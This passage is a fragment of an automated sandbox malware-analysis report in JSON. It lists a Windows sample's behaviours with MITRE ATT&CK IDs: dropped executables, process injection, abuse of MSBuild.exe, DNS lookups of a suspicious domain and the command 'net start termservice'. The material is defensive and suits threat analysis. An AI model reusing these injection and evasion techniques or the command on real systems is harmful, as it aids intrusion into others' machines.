Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to execute windows services","description":"Found string \"net start termservice\" (Indicator: \"net start \"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-521","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"bounty-38813904328784694\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" in Source: bounty-38813904328784694\n \"Software\\Policies\\Microsoft\\Internet Explorer\\Main\" in Source: 00000000-00006528.00000000.285422.00CC0000.00000004.mdmp\n 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp\n 00000000-00006528.00000002.289264.00CC0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"bounty-38813904328784694.exe\" with parameter %TEMP%\\10716570101\\ (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" with parameter %TEMP%\\10716580101\\ (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$2e","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"bounty-38813904328784694\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"adc663ab13.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$2f","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$30","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"bounty-38813904328784694.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 755C0000\n \"bounty-38813904328784694.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F80000\n \"cde4308e66.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 755C0000\n \"adc663ab13.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 57410000\n \"MSBuild.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 755C0000\n \"MSBuild.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72F80000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"bounty-38813904328784694.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75500000\n \"cde4308e66.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75500000\n \"adc663ab13.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 59C40000\n \"MSBuild.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75500000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"bounty-38813904328784694\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"bounty-38813904328784694\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"bounty-38813904328784694\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"random_1_.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"random_1_.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"random_1_.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"adc663ab13.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"adc663ab13.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"adc663ab13.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$32","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"bounty-38813904328784694\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"bounty-38813904328784694\" has an executable section named \".text\"\n \"random_1_.exe\" has an executable section named \"\"\n \"random_1_.exe\" has an executable section named \"mhpmhgkc\"\n \"random_1_.exe\" has an executable section named \"kcincckn\"\n \"adc663ab13.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"bounty-38813904328784694\" has an writable section named \".data\"\n \"random_1_.exe\" has an writable section named \"\"\n \"random_1_.exe\" has an writable section named \".rsrc\"\n \"random_1_.exe\" has an writable section named \".idata\"\n \"random_1_.exe\" has an writable section named \"mhpmhgkc\"\n \"random_1_.exe\" has an writable section named \"kcincckn\"\n \"adc663ab13.exe\" has an writable section named \".data\"\n \"adc663ab13.exe\" has an writable section named \".tls\"\n \"adc663ab13.exe\" has an writable section named \".TLS\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$33","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"mhpmhgkc\" is \"0x18d000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"\" is \"0x289000\" greater than 0x100000\n Virtual size of \"mhpmhgkc\" is \"0x18d000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"adc663ab13.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe\" [Source: 00000000-00006500-00000BC0-3470752819]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cde4308e66.exe\" (UID: 00000000-00005828) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", USERDNSDOMAIN=\"DESKTOP-FVVF82A\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"cde4308e66.exe\" (UID: 00000000-00005828) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"MSBuild.exe\" (UID: 00000000-00003492) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"MSBuild.exe\" (UID: 00000000-00003492) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"commum.asia\"\n \"t.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"bounty-38813904328784694.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"bounty-38813904328784694.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"cde4308e66.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"cde4308e66.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cde4308e66.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cde4308e66.exe\" (UID: 00000000-00005828)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 440 -p 5828 -ip 5828\" (UID: 00000000-00008092)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00003844)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00004916)\n Spawned process \"adc663ab13.exe\" (UID: 00000000-00006500)\n Spawned process \"MSBuild.exe\" (UID: 00000000-00003492)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cde4308e66.exe\" (UID: 00000000-00005828)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 440 -p 5828 -ip 5828\" (UID: 00000000-00008092)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00003844)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 5828 -s 748\" (UID: 00000000-00004916)\n Spawned process \"adc663ab13.exe\" (UID: 00000000-00006500)\n Spawned process \"MSBuild.exe\" (UID: 00000000-00003492)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$34","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"bounty-38813904328784694\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"random_1_.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"bounty-38813904328784694.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716570101\\cde4308e66.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$35","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"bounty-38813904328784694\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"bounty-38813904328784694.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"cde4308e66.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"random_1_.exe\" has type \"Unknown\"- [targetUID: N/A]\n \"adc663ab13.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 7 sections\"- Location: [%TEMP%\\10716580101\\adc663ab13.exe]- [targetUID: 00000000-00006528]\n 